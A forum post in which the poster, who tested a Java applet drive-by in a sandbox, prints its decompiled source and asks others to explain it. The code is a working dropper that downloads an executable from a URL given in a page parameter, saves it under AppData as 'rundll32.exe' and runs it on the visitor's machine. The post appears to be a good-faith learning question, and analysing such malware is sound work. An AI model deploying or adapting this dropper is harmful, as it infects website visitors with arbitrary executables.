I heard about java drive bys a while ago and was skeptical that they could possibly work but I tested one out and it actually worked. I pointed firefox to it on a Win7 sandbox and it asked me if I wanted to run the applet, I clicked yes and it launched an executable. Now I'm intrigued. I decompiled the .class and heres the code:
import java.applet.Applet;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.URL;
import java.util.logging.Level;
import java.util.logging.Logger;
public class respect extends Applet
{
public void start()
{
String str1 = System.getenv("appdata");
String str2 = getParameter("buntime");
String str3 = "\\rundll32.exe";
String str4 = str1.concat(str3);
BufferedInputStream localBufferedInputStream = null;
try {
localBufferedInputStream = new BufferedInputStream(new URL(str2).openStream());
} catch (IOException localIOException1) {
Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localIOException1);
}
FileOutputStream localFileOutputStream = null;
try {
localFileOutputStream = new FileOutputStream(str4);
} catch (FileNotFoundException localFileNotFoundException) {
Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localFileNotFoundException);
}
BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024);
byte[] arrayOfByte = new byte[1024];
try
{
int i;
for (long l = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l += i)
localBufferedOutputStream.write(arrayOfByte, 0, i);
}
catch (IOException localIOException2) {
Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localIOException2);
}
try {
localBufferedOutputStream.close();
} catch (IOException localIOException3) {
Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localIOException3);
}
try {
localBufferedInputStream.close();
} catch (IOException localIOException4) {
Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localIOException4);
}
try {
Runtime.getRuntime().exec(str4);
} catch (IOException localIOException5) {
Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localIOException5);
}
}
public void main(String[] paramArrayOfString)
{
start();
}
}
I'm not experienced with java but this looks pretty simple. The filename of the executable is stored in a HTML <param> tag named buntime, so
String str2 = getParameter("buntime");
loads the filename of the .exe file into the str2 variable. I don't really know what all that bufferedinput stream stuff means but I'm guessing it loads the .exe file into the applets memory.
The first try/catch exception there, does that basically just try to load the external .exe file then log the error if it can't? The second try/catch code block has stuff about output streams, does that part of the code send the .exe file to the person visiting the site so that it is loaded into their computers memory?
The next part:
BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024);
byte[] arrayOfByte = new byte[1024];
try
{
int i;
for (long l = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l += i)
localBufferedOutputStream.write(arrayOfByte, 0, i);
}
catch (IOException localIOException2) {
Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localIOException2);
}
is a complete mystery to me. No idea what they are looping through or what that .write part does. The next two parts just close the input and output streams, and the final part:
try {
Runtime.getRuntime().exec(str4);
} catch (IOException localIOException5) {
Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localIOException5);
}
I'm guessing is what actually runs the .exe file. The only language I'm really experienced with is PHP so theres a lot of new stuff here. I know that exec() executes applications but what does the getRuntime() part do? I'd greatly appreciate it some java programmers here could help me understand all this.